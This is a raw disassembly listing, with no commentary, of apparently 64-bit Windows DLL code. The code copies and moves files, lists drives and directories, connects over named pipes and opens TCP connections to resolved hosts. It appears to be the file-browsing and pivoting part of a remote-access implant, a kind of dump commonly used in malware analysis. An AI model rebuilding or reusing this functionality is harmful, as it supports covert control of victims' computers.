mov rdx, rbx
call fcn.180014364
xor r8d, r8d
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x1800105ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_listen
mov edx, eax
call fcn.18000dbd8
mov rcx, r14
call fcn.180014260
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014284
lea rcx, [rsp + 0x20]
mov edx, 0x4000
call fcn.180014450
mov rcx, rax
mov rbx, rax
call fcn.180010b4c
mov rcx, rbx
test eax, eax
je 0x180010641
lea rdx, [0x180010a68]
call fcn.180016dc8
mov rcx, rbx
call fcn.18001c8e8
jmp 0x180010646
call fcn.18001c7c8
mov rcx, rbx
call fcn.18001a79c
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rdi, r8
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x38]
call fcn.180014284
lea rcx, [rsp + 0x20]
mov edx, 0x80
call fcn.18000cfa8
lea rcx, [rsp + 0x38]
call fcn.180014294
lea rcx, [rsp + 0x20]
mov edx, eax
call fcn.18000cfd8
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea rdx, [0x18002d714]
lea rcx, [rsp + 0x20]
mov r8d, eax
call fcn.18000d00c
lea rcx, [rsp + 0x20]
call fcn.18000d008
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d078
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x20]
call fcn.18000cf84
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0xf8]
sub rsp, 0x1e0
mov rdi, rcx
mov r15d, 0x4000
mov r14, r8
mov ecx, r15d
mov ebx, edx
call fcn.18001a7dc
mov r8d, r15d
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.18001aa90
lea rcx, [rsp + 0x78]
mov r8d, ebx
mov rdx, rdi
call fcn.180014284
lea rcx, [rsp + 0x78]
call fcn.180014294
lea rcx, [rsp + 0x78]
mov r8d, r15d
mov rdx, rsi
mov ebx, eax
call fcn.180014364
lea rcx, [rsp + 0x60]
mov edx, 0x200000
call fcn.18000cfa8
lea rcx, [rsp + 0x60]
mov edx, ebx
call fcn.18000cfd8
lea rdx, [0x18002d720]
mov r8d, r15d
mov rcx, rsi
call fcn.18001c820
test eax, eax
jne 0x1800107b1
mov rdx, rsi
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea r8, [0x18002d724]
mov r9d, 2
mov edx, r15d
mov rcx, rsi
call fcn.18001bdac
lea rdx, [0x18002d6c0]
lea rcx, [rsp + 0x60]
mov r8, rsi
call fcn.18000d00c
lea rdx, [rbp - 0x60]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180010820
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbx + 0x35]
mov rdx, rsi
mov r8d, eax
call fcn.18000dcc4
lea rcx, [rsp + 0x60]
call fcn.18000d008
lea rcx, [rsp + 0x60]
mov ebx, eax
call fcn.18000d078
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call r14
mov rcx, rsi
call fcn.18001a79c
jmp 0x180010939
mov rcx, rsi
call fcn.18001a79c
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x4c]
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test byte [rbp - 0x60], 0x10
movzx ecx, word [rsp + 0x5a]
movzx edx, word [rsp + 0x58]
lea r11, [rbp - 0x34]
je 0x18001089b
movzx eax, word [rsp + 0x5c]
movzx r10d, word [rsp + 0x50]
movzx r9d, word [rsp + 0x56]
movzx r8d, word [rsp + 0x52]
mov qword [rsp + 0x40], r11
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
lea rdx, str.D_t0_t_02d__02d__02d__02d:_02d:_02d_t_s_n
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x20], r10d
call fcn.18000d00c
jmp 0x1800108f7
mov eax, dword [rbp - 0x40]
movzx r8d, word [rsp + 0x50]
movzx r10d, word [rsp + 0x56]
movzx r9d, word [rsp + 0x52]
mov qword [rsp + 0x48], r11
mov dword [rbp + 0x118], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp + 0x11c], eax
movzx eax, word [rsp + 0x5c]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r8d
mov r8, qword [rbp + 0x118]
lea rdx, str.F_t_I64d_t_02d__02d__02d__02d:_02d:_02d_t_s_n
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x20], r10d
call fcn.18000d00c
lea rdx, [rbp - 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180010828
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x60]
call fcn.18000d008
lea rcx, [rsp + 0x60]
mov ebx, eax
call fcn.18000d078
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call r14
lea rcx, [rsp + 0x60]
call fcn.18000cf84
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014284
lea rcx, [rsp + 0x20]
mov edx, 0x4000
call fcn.180014450
mov rcx, rax
mov rbx, rax
call fcn.18001c8a0
mov rcx, rbx
call fcn.18001a79c
add rsp, 0x40
pop rbx
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0x4000
mov edi, edx
call fcn.18001416c
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.1800142c8
mov edx, 0x2000
mov rcx, r14
mov rbp, rax
call fcn.1800142c8
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call fcn.180014284
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbp
call fcn.180014364
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbx
call fcn.180014364
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x180010a43
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_ntohl
mov edx, eax
call fcn.18000dbd8
mov rcx, r14
call fcn.180014260
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
movzx ecx, word [rcx]
mov esi, r9d
mov rbp, r8
mov ebx, edx
mov word [rax + 0x10], cx
call sub.WS2_32.dll_ntohs
lea edx, [rbx - 2]
lea rcx, [rdi + 2]
mov r8d, esi
mov word [rsp + 0x38], ax
call fcn.180011130
movzx ecx, word [rsp + 0x38]
call sub.WS2_32.dll_htons
mov edx, 2
lea rcx, [rsp + 0x38]
lea r8d, [rdx + 5]
mov word [rsp + 0x38], ax
call rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
movzx ecx, word [rcx]
mov rbp, r9
mov esi, r8d
mov ebx, edx
mov word [rax + 0x10], cx
call sub.WS2_32.dll_ntohs
lea edx, [rbx - 2]
lea rcx, [rdi + 2]
mov r9d, 1
mov r8d, esi
mov word [rsp + 0x38], ax
call fcn.180011034
movzx ecx, word [rsp + 0x38]
call sub.WS2_32.dll_htons
mov edx, 2
lea rcx, [rsp + 0x38]
lea r8d, [rdx + 5]
mov word [rsp + 0x38], ax
call rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
mov rdi, rcx
mov esi, 0x40
mov r15d, r9d
mov ecx, esi
mov r12d, r8d
mov ebx, edx
call fcn.18001416c
mov edx, esi
mov rcx, rax
mov rbp, rax
call fcn.1800142c8
lea rcx, [rsp + 0x70]
mov r8d, ebx
mov rdx, rdi
mov r14, rax
call fcn.180014284
lea rcx, [rsp + 0x70]
call fcn.18001432c
lea rcx, [rsp + 0x70]
movzx r13d, ax
call fcn.18001432c
lea rcx, [rsp + 0x70]
movzx eax, ax
mov dword [rsp + 0x68], eax
call fcn.180014294
lea rcx, [rsp + 0x70]
mov r8d, esi
mov rdx, r14
mov dword [rsp + 0x64], eax
call fcn.180014364
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x60], eax
call fcn.180014294
xor esi, esi
mov edi, eax
test eax, eax
je 0x1800113c4
lea rcx, [rsp + 0x70]
mov edx, eax
call fcn.1800142c8
mov rsi, rax
lea rcx, [rsp + 0x70]
call fcn.1800141e8
lea rcx, [rsp + 0x70]
mov rbx, rax
call fcn.18000d008
mov ecx, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x64]
mov edx, dword [rsp + 0x68]
mov dword [rsp + 0x50], r15d
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], ecx
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], edi
mov r9, rbx
mov ecx, r13d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
call fcn.18001143c
mov rcx, rbp
call fcn.180014260
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rdi, rcx
mov ecx, 0xc00
mov r12d, r8d
mov ebx, edx
call fcn.18001416c
mov r13d, 0x400
mov rcx, rax
mov edx, r13d
mov rsi, rax
call fcn.1800142c8
mov edx, r13d
mov rcx, rsi
mov r15, rax
call fcn.1800142c8
mov edx, r13d
mov rcx, rsi
mov rbp, rax
call fcn.1800142c8
lea rcx, [rsp + 0x40]
mov r8d, ebx
mov rdx, rdi
mov r14, rax
call fcn.180014284
lea rcx, [rsp + 0x40]
mov r8d, r13d
mov rdx, r15
call fcn.180014364
xor edi, edi
test eax, eax
jne 0x180011638
mov rcx, rsi
call fcn.180014260
jmp 0x1800116da
lea rcx, [rsp + 0x40]
mov r8d, r13d
mov rdx, rbp
call fcn.180014364
test eax, eax
je 0x18001162b
lea rcx, [rsp + 0x40]
mov r8d, r13d
mov rdx, r14
call fcn.180014364
test eax, eax
je 0x18001162b
lea rax, [rsp + 0x58]
mov r9, r14
mov r8, rbp
mov rdx, r15
mov ecx, r12d
mov qword [rsp + 0x20], rax
call fcn.1800190a8
test eax, eax
je 0x1800116c8
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
call fcn.18000d008
lea rcx, [rsp + 0x40]
mov ebx, eax
call fcn.1800141e8
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov dword [rsp + 0x38], edi
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x58]
mov r9, rax
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
call fcn.180011a5c
mov rcx, rsi
call fcn.180014260
lea rcx, [rsp + 0x58]
call fcn.1800128a4
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
mov edi, r8d
mov r8d, edx
mov rdx, rcx
lea rcx, [rbp - 0x41]
call fcn.180014284
lea rcx, [rbp - 0x41]
call fcn.180014294
lea rcx, [rbp - 0x41]
mov ebx, eax
call fcn.1800141e8
lea rcx, [rbp - 0x41]
mov rsi, rax
call fcn.18000d008
mov r15d, 0x68
lea rcx, [rbp - 0x29]
xor edx, edx
mov r8d, r15d
mov r14d, eax
call fcn.18001aa90
xor eax, eax
lea rcx, [rbp - 0x29]
mov dword [rbp - 0x29], r15d
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x49], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r15d, r15d
lea r9, [rbp - 0x59]
lea r8, [rbp - 0x29]
lea edx, [r15 + 1]
mov ecx, edi
mov dword [rbp + 0x13], 0x101
mov word [rbp + 0x17], r15w
mov qword [rbp + 0x2f], r15
mov qword [rbp + 0x37], r15
mov qword [rbp + 0x27], r15
mov dword [rsp + 0x20], ebx
call fcn.18001910c
test eax, eax
je 0x1800117ed
lea ecx, [r15 + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, dword [rbp - 0x49]
mov rdx, qword [rbp - 0x59]
mov dword [rsp + 0x38], r15d
mov qword [rsp + 0x30], r15
lea rcx, [rbp - 0x59]
mov r9, rsi
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r14d
call fcn.180011a5c
lea rcx, [rbp - 0x59]
call fcn.1800128a4
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
push rbx
sub rsp, 0x40
mov rbx, qword [0x18003f4d0]
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014284
lea rcx, [rsp + 0x20]
call fcn.18001432c
movzx eax, ax
jmp 0x180012919
cmp dword [rbx], eax
jne 0x180012915
mov ecx, 1
mov word [rbx + 0x3a], cx
mov rbx, qword [rbx + 0x30]
test rbx, rbx
jne 0x180012908
call fcn.180012e38
add rsp, 0x40
pop rbx
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xd0
mov rdi, rcx
mov r14d, r8d
mov ebx, edx
mov esi, 0x3f
lea rcx, [rbp - 0x48]
xor edx, edx
mov r8d, esi
movzx r15d, r9w
mov byte [rbp - 0x49], 0
call fcn.18001aa90
lea rcx, [rbp - 8]
mov r8d, esi
xor edx, edx
mov byte [rbp - 9], 0
call fcn.18001aa90
lea rcx, [rbp - 0x61]
mov r8d, ebx
mov rdx, rdi
call fcn.180014284
lea rcx, [rbp - 0x61]
call fcn.180014294
lea rcx, [rbp - 0x61]
mov r12d, eax
call fcn.18001432c
lea rcx, [rbp - 0x61]
movzx r13d, ax
call fcn.18001432c
mov ebx, 0x40
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x61]
mov r8d, ebx
movzx esi, ax
call fcn.180014364
test eax, eax
je 0x180012a58
lea rdx, [rbp - 9]
lea rcx, [rbp - 0x61]
mov r8d, ebx
call fcn.180014364
test eax, eax
je 0x180012a58
neg r14d
sbb edi, edi
and edi, 0x20000
xor ebx, ebx
lea rdx, [rbp - 0x69]
lea rcx, [rbp - 0x49]
mov r8d, edi
call fcn.180012b08
test eax, eax
jne 0x180012a30
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x14
jl 0x1800129f6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, socket
mov edx, eax
call fcn.18000dbd8
jmp 0x180012a58
test esi, esi
je 0x180012a3f
mov rcx, qword [rbp - 0x69]
mov edx, esi
call fcn.180012c30
mov rcx, qword [rbp - 0x69]
lea r9, [rbp - 9]
mov r8d, r13d
mov edx, r12d
mov word [rsp + 0x20], r15w
call fcn.180012ba4
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rbx, qword [0x18003f4d0]
mov rdi, rcx
lea rcx, [rsp + 0x30]
mov edx, 0x8000
call fcn.18000cfa8
jmp 0x180012ac1
mov r9d, dword [rbx + 0x3c]
mov r8d, dword [rbx]
lea rax, [rbx + 0x46]
lea rdx, str._d_t_d_t_s_n
mov qword [rsp + 0x20], rax
call fcn.18000d00c
mov rbx, qword [rbx + 0x30]
lea rcx, [rsp + 0x30]
test rbx, rbx
jne 0x180012aa1
call fcn.18000d008
lea rcx, [rsp + 0x30]
mov ebx, eax
call fcn.18000d078
mov r8d, socket
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x30]
call fcn.18000cf84
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, r8
call qword [sym.imp.WS2_32.dll_ntohl]
lea r9, [0x18003f4f0]
xor edx, edx
mov rcx, r9
cmp dword [rcx + 0x48], 1
jne 0x1800130b7
cmp dword [rcx], eax
je 0x1800130cb
lea r8, [0x1800403f0]
add rcx, 0x60
inc edx
cmp rcx, r8
jge 0x1800130e8
jmp 0x1800130ad
movsxd rax, edx
mov r8d, 0xa
lea rcx, [rax + rax*2]
shl rcx, 5
mov edx, dword [rcx + r9 + 0x58]
mov rcx, qword [rcx + r9 + 0x50]
call rbx
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
cmp qword [0x18003f4e0], 0
mov rdi, r8
mov r14d, edx
mov r12, rcx
jne 0x180013130
mov ecx, 0x100000
call fcn.18001a7dc
mov qword [0x18003f4e0], rax
mov r13d, dword [r12]
sub r14d, 4
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_ntohl]
xor ebp, ebp
lea rbx, [0x18003f510]
mov esi, eax
lea rdx, [0x18003f4f0]
cmp dword [rbx - 0x20], esi
jne 0x18001320f
cmp dword [rbx + 0x28], 1
jne 0x18001320f
movsxd rax, ebp
test r14d, r14d
jle 0x180013187
lea r15, [rdx + 8]
lea rcx, [rax + rax*2]
mov r8d, r14d
shl rcx, 5
lea rdx, [r12 + 4]
add r15, rcx
jmp 0x18001319b
lea r15, [rax + rax*2]
xor r8d, r8d
shl r15, 5
add r15, 8
add r15, rdx
xor edx, edx
mov rcx, r15
call qword [rbx]
test eax, eax
je 0x18001321f
mov rax, qword [0x18003f4e0]
mov edx, 0x493e0
mov rcx, r15
mov dword [rax], r13d
call qword [rbx + 0x18]
test eax, eax
je 0x1800131d6
mov rdx, qword [0x18003f4e0]
mov r8d, 0xffffc
mov rcx, r15
add rdx, 4
call qword [rbx - 8]
jmp 0x1800131d9
or eax, 0xffffffff
test eax, eax
jle 0x1800131f1
lea edx, [rax + 4]
mov rcx, qword [0x18003f4e0]
mov r8d, ntohl
call rdi
jmp 0x180013208
jne 0x1800131fa
mov edx, 4
jmp 0x1800131e0
test eax, eax
jns 0x180013208
mov rdx, rdi
mov ecx, esi
call fcn.1800134d4
lea rdx, [0x18003f4f0]
inc ebp
add rbx, 0x60
cmp ebp, 0x28
jge 0x180013229
jmp 0x180013153
mov rdx, rdi
mov ecx, esi
call fcn.1800134d4
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, r8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rdx, rbx
mov ecx, eax
add rsp, 0x20
pop rbx
jmp fcn.1800134d4
mov rdx, r8
jmp 0x180013740
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov r14, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [rax + 0x3a98]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jae 0x1800137dd
and qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, rsi
mov dword [rsp + 0x28], 0x100000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180013816
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x1800137c6
mov edx, 0x2710
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
jmp 0x1800137d1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jb 0x180013776
jmp 0x1800137e1
mov rbx, qword [rbp + 0x77]
cmp rbx, 0xffffffffffffffff
jne 0x180013816
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x79
jne 0x1800137ff
lea ecx, [rbx + 5]
call fcn.18000dca4
jmp 0x1800138bd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, socket
mov edx, eax
call fcn.18000dbd8
jmp 0x1800138bd
lea rdx, [rbp + 0x77]
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
mov dword [rbp + 0x77], 2
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x180013848
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, socket
mov edx, eax
call fcn.18000dbd8
jmp 0x1800138ab
lea rcx, [rbp + 7]
mov rdx, rbx
call fcn.1800135dc
mov r8, r14
mov rcx, qword [rax]
mov rdx, rax
mov qword [rbp - 0x39], rcx
mov rcx, qword [rax + 8]
mov qword [rbp - 0x31], rcx
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x29], rcx
mov rcx, qword [rax + 0x18]
mov qword [rbp - 0x21], rcx
mov rcx, qword [rax + 0x20]
mov qword [rbp - 0x19], rcx
mov rcx, qword [rax + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rbp - 9], rax
mov rax, qword [rdx + 0x38]
mov qword [rbp - 0x11], rcx
lea rcx, [rbp - 0x39]
mov edx, 0x1bd
mov qword [rbp - 1], rax
call fcn.18001332c
test eax, eax
jne 0x1800138bd
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
mov r14, r8
mov ebx, edx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp - 9]
mov r8d, ebx
mov rdx, rdi
lea esi, [rax + 0x3a98]
call fcn.180014284
lea rcx, [rbp - 9]
call fcn.18001432c
lea rcx, [rbp - 9]
movzx ebx, ax
call fcn.1800141e8
mov rdi, rax
call fcn.18000e668
jmp 0x180013a50
mov edx, ebx
mov rcx, rdi
call fcn.18000f27c
cmp rax, 0xffffffffffffffff
jne 0x180013a89
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, esi
jb 0x180013a35
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 0x44
mov edx, eax
call fcn.18000dbd8
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
lea rcx, [rbp + 0xf]
mov rdx, rax
call fcn.180013ba0
bts ebx, 0x14
mov rcx, qword [rax]
mov r8, rax
mov edx, ebx
mov qword [rbp - 0x49], rcx
mov rcx, qword [rax + 8]
mov qword [rbp - 0x41], rcx
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x39], rcx
mov rcx, qword [rax + 0x18]
mov qword [rbp - 0x31], rcx
mov rcx, qword [rax + 0x20]
mov qword [rbp - 0x29], rcx
mov rcx, qword [rax + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rbp - 0x19], rax
mov rax, qword [r8 + 0x38]
mov qword [rbp - 0x21], rcx
lea rcx, [rbp - 0x49]
mov r8, r14
mov qword [rbp - 0x11], rax
call fcn.18001332c
jmp 0x180013a6c
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, qword [0x1800403f0]
call qword [sym.imp.WS2_32.dll_ntohl]
jmp 0x180014583
cmp dword [rbx + 4], 0
je 0x18001457f
cmp eax, dword [rbx]
jne 0x18001457f
cmp dword [rbx + 0x10], 2
je 0x18001457f
and dword [rbx + 4], 0
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x18001456b
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rdi, rcx
mov ecx, dword [rcx]
mov r12d, 1
mov rsi, r8
mov ebx, edx
mov dword [rbp + 0x378], ecx
mov dword [rbp + 0x370], r12d
lea r13d, [r12 + 3]
call qword [sym.imp.WS2_32.dll_ntohl]
movzx ecx, word [rdi + r13]
sub ebx, 6
mov r14d, eax
call qword [sym.imp.WS2_32.dll_ntohs]
lea rdx, [r13 + 2]
lea rcx, [rsp + 0x30]
movzx r15d, ax
mov eax, 0x3ff
cmp ebx, eax
cmovge ebx, eax
add rdx, rdi
movsxd rbx, ebx
mov r8, rbx
call fcn.18001ae80
mov byte [rsp + rbx + 0x30], 0
call fcn.18000e668
mov edx, r12d
xor r8d, r8d
lea r12d, [rdx + 1]
mov ecx, r12d
call qword [sym.imp.WS2_32.dll_socket]
or rdi, 0xffffffffffffffff
mov rbx, rax
cmp rax, rdi
jne 0x180014653
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rcx, [rbp + 0x378]
mov r8d, r13d
mov edx, r13d
call rsi
jmp 0x1800146e2
lea rcx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x180014668
mov rcx, rbx
jmp 0x180014639
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x24]
mov rdx, qword [rdx]
call fcn.18001ae80
movzx ecx, r15w
mov word [rsp + 0x20], r12w
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rbp + 0x370]
mov edx, 0x8004667e
mov rcx, rbx
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, edi
je 0x180014639
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, edi
jne 0x1800146d1
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x180014663
mov r8d, 0x7530
mov edx, r14d
mov rcx, rbx
call fcn.180014534
mov rbx, qword [rsp + 0x480]
add rsp, 0x430
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
mov rsi, rcx
lea rcx, [rax - 0x28]
mov rdi, r8
call fcn.180014294
lea rcx, [rsp + 0x30]
mov ebp, eax
call fcn.18001432c
mov r8d, 1
movzx ebx, ax
xor ecx, ecx
mov edx, ebx
call fcn.18001495c
cmp rax, 0xffffffffffffffff
